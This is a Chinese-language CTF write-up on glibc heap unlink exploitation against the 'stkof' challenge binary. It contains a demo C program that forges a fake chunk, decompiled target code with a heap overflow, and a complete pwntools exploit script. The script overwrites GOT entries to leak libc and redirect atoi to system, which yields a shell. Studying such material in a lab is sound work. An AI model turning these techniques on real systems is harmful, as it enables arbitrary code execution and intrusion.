unlink- ctf-stkof

stkof 程序下载：https://pan.baidu.com/s/1_dcm8OFjhKbKYWa3WBtAiQ

提取码：pkyb

unlink 基础操作

# define unlink

#define unlink(AV, P, BK, FD) {                                             \
    FD = P->fd;								      							\
    BK = P->bk;								     							\
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      		\
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);\
    else {								      								\
        FD->bk = BK;							      						\
        BK->fd = FD;							   							\
        ...
	}

根据unlink的定义中, P BK FD 都是chunk .(上述代码中省略部分是 large bin 的,不好做利用,我不会)

unlink.c

#include<stdio.h>
#include<malloc.h>
#include<unistd.h>
#include<string.h>
long list;
int main(){
	char *p = malloc(0x80);
	char *q = malloc(0x80);
	char *r = malloc(0x80);

	list = p;
    printf("%p\n",p);

	*(long *)p = 0;
	*(long *)(p+8) = 0x81;
	//让下一个chunk释放时检测到这个从fd开始的假chunk已经被释放了

	*(long *)(p+16) = &list - 0x3;//FD
	*(long *)(p+24) = &list - 0x2;//BK

	*(long *)(q-16) = 0x80;
	*(long *)(q-8) = 0x90;
	//prev_size 为80,0x90 prev_inuser位表示前一个chunk已经被free
	free(q);
	//触发前向合并，移动指针 q -= priv_size

	strcpy(list,"aaaaaaaabbbbbbbbcccccccc\x38\x10\x60");
	strcpy(list,"dddddddd");
	//这两个strcpy是为了向0x601038位置写入'dddddddd'
	//利用方式：改got表  hook

    printf("%p\n",malloc(0));
	return 0;
}

$ gcc unlink.c
$./a.out
0xa64010
0xa64020

上述代码分析:

FD = P->fd;  |  FD -> bk == P  |  FD -> bk = BK
BK = P->bk;  |  BK -> fd == P  |  BK -> fd = FD
			 | unlink检查方式   | 断链的操作
---------------------------------------------------------------
prev_size	0  <==(p_chunk)
size		0x91
fd			0  <==p的指针
bk			0x81
  			&list-3	   prev_size <==(FD_chunk)
  			&list-2	   size       prve_size <==(BK_chunk)
    		&list-1	   fd	      size
    		list=p	   bk	      fd

最后一行 p==FD->bk==BK->fd
因为BK -> fd = FD 所以 list = &list-3 注: 新申请的内存也是在这个位置
free后还能被改,,真惨...不好,我好喜欢

好了,如果小白在上述代码分析中停留了3天,我就当你明白了

下面开始实战

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
		...
  while ( fgets(&buf, 10, stdin) )
  {
    num = atoi(&buf);
    switch(num)
    {
        case 1: ret = add();
      			goto LABEL_14;
        case 2:ret = edit();
      		  	goto LABEL_14;
        case 3:ret = del();
        		goto LABEL_14;
        case 4:ret = show();
        	    goto LABEL_14;

    }
	...
}

signed __int64 add()
{
	...
  v4 = __readfsqword(0x28u);
  fgets(&s, 16, stdin);
  size = atoll(&s);
  v2 = (char *)malloc(size);
  if ( !v2 )
    return -1;
  bss_chunkS[++chunk_num] = v2;
  printf("%d\n", (unsigned int)chunk_num, size);
  return 0LL;
}

signed __int64 edit()
{
 ...
  fgets(&buf, 16, stdin);
  index = atol(&buf);
  if ( index > 0x100000 )
    return -1;
  if ( !bss_chunkS[index] )
    return -1;
  fgets(&buf, 16, stdin);
  n = atoll(&buf);
  ptr = bss_chunkS[index];
  for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) )// 溢出
  {
    ptr += i;
    n -= i;
  }
...
}

signed __int64 del()
{
...
  fgets(&s, 16, stdin);
  index = atol(&s);
  if ( index > 0x100000 )
    return 0xFFFFFFFFLL;
  if ( !bss_chunkS[index] )
    return 0xFFFFFFFFLL;
  free(bss_chunkS[index]);
  bss_str[index] = 0LL;
  return 0LL;
}    

signed __int64 show()
{
...
  fgets(&s, 16, stdin);
  v1 = atol(&s);
  if ( v1 > 0x100000 )
    return -1;
  if ( !bss_chunkS[v1] )
    return 0xFFFFFFFFLL;
  if ( strlen(bss_chunkS[v1]) <= 3 )
    puts("//TODO");
  else
    puts("...");
  return 0LL;
}

利用代码

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from pwn import *
p = process("./stkof")
elf=ELF('./stkof')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def add(size):
    p.sendline('1')
    p.sendline(str(size))
    p.recvuntil('OK\n')

def edit(index,payload):
    p.sendline('2')
    p.sendline(str(index))
    p.sendline(str(len(payload)))
    p.sendline(payload)
    p.recvuntil('OK\n')

def delete(index):
    p.sendline('3')
    p.sendline(str(index))

add(0x80)     #此时的堆布局 1.printf 2.chunk1
add(0x20)     #             3.puts   4.chunk2
add(0x80)     #             5.chunk3 6.top_chunk
#我们不好将chunk1直接溢出到chunk2,但chunk2与chunk3是连续的

chunk_list=0x602140+0x10 #第2个chunk的指针

payload = p64(0)
payload += p64(0x21)
payload += p64(chunk_list - 0x18) #FD
payload += p64(chunk_list - 0x10) #BK

payload += p64(0x20)
payload += p64(0x90)
edit(2,payload)   

delete(3) #chunk_list=&chunk_list-0x18  FD
p.recvuntil('OK\n')

payload = p64(0)+ p64(elf.got['free'])
payload += p64(elf.got['puts']) + p64(elf.got['atoi'])
edit(2,payload)#idx2 这个位置 = &chunk_list-0x18
#当编辑完后,chunk2这个指针指向 atoi@got

payload = p64(elf.plt['puts'])
edit(0, payload) #free@got 改为指向 puts@plt

delete(1) #free@got->puts@plt(puts@got)
p.recvline()
puts_addr = u64(p.recvline()[:-1].ljust(8, '\x00'))
system = puts_addr - libc.symbols['puts'] + libc.symbols['system']

edit(2,p64(system)) #atoi@got->system addr
p.sendline('/bin/sh')
p.recvuntil('FAIL\n')
p.interactive()

通过这此的题,我发现自己对malloc free的源码的理解程度严重不足,这题我足足做了3天,我还是闭关研究一下源码吧..